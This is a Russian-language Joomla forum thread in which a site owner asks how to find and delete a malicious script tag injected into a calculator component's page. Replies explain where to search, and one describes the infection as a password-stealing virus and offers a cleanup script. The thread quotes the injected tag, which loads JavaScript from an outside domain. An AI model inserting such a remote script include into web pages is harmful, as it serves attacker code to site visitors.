Joomla 1.5 Нужно далить вредоносный JavaScript

Discussion in 'Вопросы безопасности' started by fanta707, Mar 18, 2011.

  1. Offline

    fanta707 Недавно здесь

    Joined:
    Mar 18, 2011
    Messages:
    5
    Likes Received:
    0
    Gender:
    Male
    Нашёл в коде на одной из страниц сайта скрипт которого там не должно быть
    Код (CODE):
    1. <script type="text/javascript" src="http://surehit.ru/Captcha.js"></script>
    2. <!--20a4b2da2c0aab11a43b8fb0845e92ec-->

    в меню ссылка на эту страницу такая
    Код (CODE):
    1. /index.php?option=com_calc&view=feedback
    хотел вручную удалить её, но не могу найти. Подскажите в каком каталоге на сервере лежит эта страничка чтоб можно было добраться через FTP.
     
    Last edited: Mar 18, 2011
  2.  
  3. Offline

    fanta707 Недавно здесь

    Joined:
    Mar 18, 2011
    Messages:
    5
    Likes Received:
    0
    Gender:
    Male
    Re: Нужно удалить вредоносный JavaScript

    Что никто не поможет?:(
    Может я неправельно вопрос задал, или надо дополнить?
     
  4. ycsus
    Offline

    ycsus Недавно здесь => Cпециалист <=

    Joined:
    Feb 19, 2011
    Messages:
    249
    Likes Received:
    33
    Gender:
    Male
    Re: Нужно удалить вредоносный JavaScript

    Если в index.php шаблона нету(а если только на этой странице, то значит нету) нуна смотреть в темплейтах компонента com_calc, по названию похож на какой то калькулятор
     
  5. allegus
    Offline

    allegus Недавно здесь

    Joined:
    Sep 20, 2007
    Messages:
    1
    Likes Received:
    0
    Gender:
    Male
    1. Проверь установлен ли такой com_calc и + директорию компонентов: ищи com_calc
    2. Скачай бэкап сайта с ftp на комп — любым удобным способом сделай поиск по всем файлам куска кода (помогут многие программы, умные блокноты ну или просто total commander задействуй).
    Найдётся как миленький.
     
  6. Offline

    fanta707 Недавно здесь

    Joined:
    Mar 18, 2011
    Messages:
    5
    Likes Received:
    0
    Gender:
    Male
    Спасибо всем!!! Всё решена проблема удалил! перерыл кучу папок нашёл в шаблонах, страница с калькуляцией заказа;)
     
  7. Offline

    fanta707 Недавно здесь

    Joined:
    Mar 18, 2011
    Messages:
    5
    Likes Received:
    0
    Gender:
    Male
    P.S. Отличный форум нашёл много нового вас пока ждал)))[!]
     
  8. Offline

    SindBAD Недавно здесь

    Joined:
    Jun 9, 2009
    Messages:
    100
    Likes Received:
    6
    Gender:
    Male
    Это был вирус, который ворует пароли из Totlal Commander и подсовывает свой код в файлы.
    Для избавления от этой хрени я написал маленький скрипт-антивирус :) Надеюсь, кому-нибудь пригодится.
    View attachment debug.rar
    В последней строке подставляете код, который хотите удалить и заливаете скрипт в корень сайта.
    Открываете как домен/debug.php , скрипт прочёсывает все файлы. Зараженные будут вылечены и в списке отобразятся красными.

    P.S.: не забывает про синтаксис РНР - в строке нужо экранировать все двойные кавычки!
     
    Last edited: Apr 4, 2011
    Asylum likes this.
  9. OlegK
    Offline

    OlegK Russian Joomla! Team Staff Member ⇒ Профи ⇐

    Joined:
    Jan 17, 2011
    Messages:
    7,812
    Likes Received:
    771
    Gender:
    Male
    Last edited by a moderator: Mar 31, 2014

Share This Page

Loading...